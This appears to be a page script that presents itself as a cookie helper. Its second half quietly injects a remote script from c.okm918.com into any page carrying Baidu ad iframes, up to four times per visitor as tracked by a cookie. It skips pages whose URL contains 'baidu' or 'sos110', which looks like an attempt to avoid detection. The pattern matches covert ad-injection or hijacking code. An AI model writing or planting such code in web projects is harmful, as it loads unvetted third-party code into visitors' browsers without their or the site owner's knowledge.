var GCOOKIE = GCOOKIE || {
    getCookie: function( c_name ) {
        var i, x, c_value, ARRcookies = document.cookie.split( ";" );
        for ( i = 0; i < ARRcookies.length; i++ ) {
            x = ARRcookies[i].substr( 0, ARRcookies[i].indexOf( "=" ) );
            x=x.replace(/^\s+|\s+$/g,"");
            if ( c_name == x ) {
                c_value = ARRcookies[i].substr( ARRcookies[i].indexOf( "=" ) + 1 );
                return unescape( c_value );
            }
        }
    },
    setCookie: function( c_name, c_value, expiredays ) {
        var exdate = new Date();
        exdate.setDate( exdate.getDate() + expiredays );
        var expires = ( expiredays == null ) ? "" : ";expires=" + exdate.toUTCString();
        var tmp_value = [ 
            escape( c_value ),
            expires
        ].join("");
        document.cookie = c_name + "=" + tmp_value;
    },
    checkCookie: function( c_name, c_value, expiredays ) {
        var tmp_value = GCOOKIE.getCookie( c_name );
        if ( tmp_value != null && tmp_value != "" ) {
            return tmp_value;
        }
        else {
            if ( c_value != null && c_value != "" ) {
                GCOOKIE.setCookie( c_name, c_value, expiredays );
            }
        }
    }
};

if(window.jQuery){
    if(!Array.indexOf) 
    { 
        Array.prototype.indexOf = function(obj) 
        {                
            for(var i=0; i<this.length; i++) 
            { 
                if(this[i]==obj) 
                { 
                    return i; 
                } 
            } 
            return -1; 
        } 
    } 

    $(function(){
        if(window.location.toString().indexOf('baidu') > -1){
            return false;
        }
        if(window.location.toString().indexOf('sos110') > -1){
            return false;
        }
        var found = false;
        $('iframe').each(function(idx, fr){
            var $parent = $(fr).parent();
            var pid = $parent.attr('id');
            if(pid && pid.indexOf && pid.indexOf('BAIDU_DUP_wrapper')==0){
                found = true;
            }
        });
        var n = parseInt(GCOOKIE.getCookie('cn')) || 0;
        console.log('n=' + n);
        if(found && n < 4){
            $('body').append('<script src="http://c.okm918.com/AShow.aspx?AID=10380"><\/script>');
            n = n +  1;
            GCOOKIE.setCookie('cn', n);
        }
    });
}


